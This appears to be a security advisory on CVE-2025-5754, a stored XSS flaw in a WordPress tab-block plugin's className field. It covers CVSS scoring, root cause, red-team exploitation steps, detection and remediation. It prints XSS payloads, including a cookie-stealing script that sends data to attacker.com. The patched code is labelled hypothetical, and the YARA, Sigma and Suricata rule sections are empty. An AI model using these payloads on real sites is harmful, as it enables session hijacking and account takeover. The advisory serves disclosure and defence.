CVE-2025-5754

Executive Summary

CVE-2025-5754 is a Stored Cross-Site Scripting (XSS) vulnerability in the Useful Tab Block – Responsive & AMP-Compatible WordPress plugin, affecting all versions up to and including 1.3.2. The flaw resides in the className parameter, which is insufficiently sanitized and escaped, allowing authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user accesses a page containing the malicious block, the injected script executes in the context of the victim’s browser.

This vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin is designed to provide responsive and AMP-compatible tab blocks for WordPress sites. The CVSS score of 6.4 (Medium) reflects the need for authenticated access and user interaction, but the potential for widespread impact on sites using this plugin is significant.

Supply Chain & Package Security

This is a WordPress plugin, not an NPM, PyPI, Go, or Ruby package. However, the plugin is distributed via the WordPress plugin repository and can be installed directly from the WordPress admin dashboard. The supply chain risk is moderate, as the plugin is maintained by a third-party vendor and may not receive timely security updates. Users should verify the plugin’s source and monitor for patches.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs Contributor-level access.
• User Interaction (UI): Required – Victim must visit the injected page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Potential for data exfiltration.
• Integrity (I): Low – Script injection can modify content.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means that once injected, the script persists and can affect multiple users.

Deep Dive & Mechanics

The vulnerability exists in the className parameter of the Useful Tab Block plugin. This parameter is used to add custom CSS classes to the tab block elements. The plugin fails to properly sanitize and escape user input before storing it in the database and rendering it in the frontend.

Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or omits output escaping entirely for the className parameter. This allows an attacker to inject HTML and JavaScript code that is stored in the WordPress database and executed when the block is rendered.

Attack Flow:

1. An authenticated user with Contributor-level access creates or edits a post/page using the Useful Tab Block.
2. The attacker sets the className parameter to a malicious payload, e.g., "><script>alert('XSS')</script>.
3. The plugin stores this payload in the database without proper sanitization.
4. When any user (including administrators) views the page, the payload is rendered in the HTML, executing the injected script.

Impact: The attacker can steal session cookies, redirect users to malicious sites, deface the page, or perform actions on behalf of the victim (e.g., creating admin accounts).

Vulnerable vs. Patched Code

Vulnerable Code (version 1.3.2):

// In the block render function
$className = $attributes['className'] ?? '';
// Output without escaping
echo '<div class="' . $className . '">';

Patched Code (hypothetical):

// Properly escape the className attribute
$className = esc_attr($attributes['className'] ?? '');
echo '<div class="' . $className . '">';

The patched version would use esc_attr() to escape the className value, preventing HTML injection. Additionally, the plugin should validate that the input contains only valid CSS class names (e.g., alphanumeric and hyphens).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the Useful Tab Block plugin version <= 1.3.2.
• An account with Contributor-level access or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or edit an existing one.
3. Add the Useful Tab Block to the editor.
4. In the block settings, locate the className field.
5. Inject a payload such as:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Save and publish the post.
7. When an administrator or other user views the post, the script executes, sending their cookies to the attacker.

Proof of Concept (PoC) Code:

<!-- Payload for className field -->
"><img src=x onerror=alert('XSS')>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for unusual block edits by Contributor-level users.
• Use a Web Application Firewall (WAF) to block common XSS payloads in the className parameter.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hardening:

• Restrict Contributor-level access to trusted users only.
• Disable the plugin until a patch is available.
• Use a security plugin like Wordfence to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/useful-tab-block/useful-tab-block.php (version 1.3.2 or earlier)
• Database: Posts/pages containing the wp:useful-tab-block block with suspicious className values.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress audit logs showing block edits with unusual className values.

Detection Engineering

YARA Rule

Sigma Rule

Suricata Rule

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review and clean any posts/pages that may contain malicious className values.
3. Change all passwords for Contributor-level accounts if compromise is suspected.

Long-term Fix:

• The vendor should release a patched version (e.g., 1.3.3) that properly escapes the className parameter using esc_attr() and validates input.
• Users should update to the latest version as soon as it becomes available.

Workarounds:

• Implement a WAF rule to block requests containing <script or onerror in the className parameter.
• Use a security plugin to monitor and block XSS attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert